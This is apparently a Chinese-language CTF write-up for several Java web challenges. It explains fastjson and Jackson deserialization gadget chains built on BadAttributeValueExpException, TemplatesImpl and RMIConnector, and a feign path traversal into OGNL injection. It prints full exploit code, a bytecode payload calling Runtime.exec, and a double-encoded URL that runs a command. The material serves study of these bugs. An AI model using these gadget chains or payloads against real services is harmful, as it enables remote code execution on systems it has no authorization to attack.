ezbean

题目给了mybean,getConnect()可以触发任意connect方法,这里可以使用jmx的sink类,用来打jndi或二次反序列化

那么现在问题就在于如何触发getter,题目依赖存在fastjson,可以从JSONObject或者JSONArray的toString方法触发toJSONString,从而触发getter,

而调用toString的方法可以用BadAttribute,大致的思路就是这样

mybean放在JSONObject当中就不会走题目自定义的resolveClass,从而绕过黑名单

exp1

题目所用的fastjson版本比较高,写了自己的readObject方法,使用了自定义的SecureObjectInputStream,其中重写了resolveClass,会在里面判断autotype黑名单,所以我们这里只能用题目给的mybean来作为sink,触发jmx

由于同时fastjson自己的readObject方法最终会走到SecureObjectInputStream的resolveClass中,所以也不会触发题目的黑名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
    public static void main(String[] args) throws Exception
{
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/" + "base64");
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
MyBean myBean = new MyBean("1","2",rmiConnector);

// JSONArray jsonArray = new JSONArray();
// jsonArray.add(myBean);

JSONObject jsonObject = new JSONObject();
jsonObject.put("name",myBean);

BadAttributeValueExpException bd= new BadAttributeValueExpException(null);
setFieldValue(bd, "val", jsonObject);


ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(bd);

//获取base64的arraylist
String baseStr = Base64.getEncoder().encodeToString(barr.toByteArray());
System.out.println(baseStr);

// byte[] b = Base64.getDecoder().decode(baseStr);
// ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(b);
// MyObjectInputStream objectInputStream = new MyObjectInputStream(byteArrayInputStream);
// objectInputStream.readObject();
}

exp2

高版本的SecureObjectInputStream这个限制其实是可以绕过的,在java.io.ObjectInputStream#readObject0的调用中,会根据读到的bytes中tc的数据类型做不同的处理去恢复部分对象,我们只要在这个函数中走进一些不经过resolveClass的分支即可,这里可以用Reference类型来绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
    public static void main(String[] args) throws Exception
{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);

byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", bytes);
setFieldValue(templates, "_name", "y4tacker");
setFieldValue(templates, "_tfactory", null);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);

ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);
arrayList.add(val);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(arrayList);

//获取base64的arraylist
String baseStr = Base64.getEncoder().encodeToString(barr.toByteArray());
System.out.println(baseStr);

// byte[] b = Base64.getDecoder().decode(baseStr);
// ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(b);
// MyObjectInputStream objectInputStream = new MyObjectInputStream(byteArrayInputStream);
// objectInputStream.readObject();

// ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
// Object o = (Object)ois.readObject();
}

Bypassit I

和mybean类似,这里利用的jackson的toString,触发任意getter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
    public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get("com.ctf.bypassit.Evil");
byte[] code = cc.toBytecode();

TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_name", "A.R.");
setFieldValue(templates,"_class",null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates,"_sdom" , new ThreadLocal());

ArrayNode arrayNode = JsonNodeFactory.instance.arrayNode();
arrayNode.addPOJO(templates);
// POJONode pojoNode = new POJONode(templates);

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", arrayNode);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(val);

Unirest.setProxy(HttpHost.create("http://127.0.0.1:8080"));
// String url = "http://112.124.14.13:8080/bypassit";
String url = "http://127.0.0.1:8081/bypassit";
String payload =new String(Base64.getEncoder().encode(barr.toByteArray()));
String res = Unirest.post(url).body(Base64.getDecoder().decode(payload)).asString().getBody();
System.out.println(res);
System.out.println(payload);

}

Bypassit II

有时间看看。。

the path to shell

app.war 里 UserController 直接将请求参数 name 拼接到 feign client 的请求路径里,从 localhost 去调用 backend.war 中的接口。因此若能借助 name 参数进行请求路径穿越,则可以请求到 backend.war ActionServlet 接口进行表达式注入利用。

feign client 在处理请求路径参数时,feign 默认会做url编码,绝大部分特殊字符会被编码,也就不能../往上跳。但如果是 %2F它会再替换成 /,所以 %2F..%2F..%2F..%2F 就能跳了

打action接口ognl注入

1
((new javax.script.ScriptEngineManager()).getEngineByName('js')).eval('java.lang.Runtime.getRuntime().exec("touch /tmp/pwned")')

二次编码

1
http://localhost:8080/app/user/%252E%252E%252F%252E%252E%252F%252E%252E%252Fbackend%252Faction%252F%2528%2528new%2520javax%252Escript%252EScriptEngineManager%2528%2529%2529%252EgetEngineByName%2528%2527js%2527%2529%2529%252Eeval%2528%2527java%252Elang%252ERuntime%252EgetRuntime%2528%2529%252Eexec%2528%2522calc%2522%2529%2527%2529

Reference

AliyunCTF官方writeup - 先知社区

FastJson与原生反序列化 | Y4tacker’s Blog

FastJson与原生反序列化(二) | Y4tacker’s Blog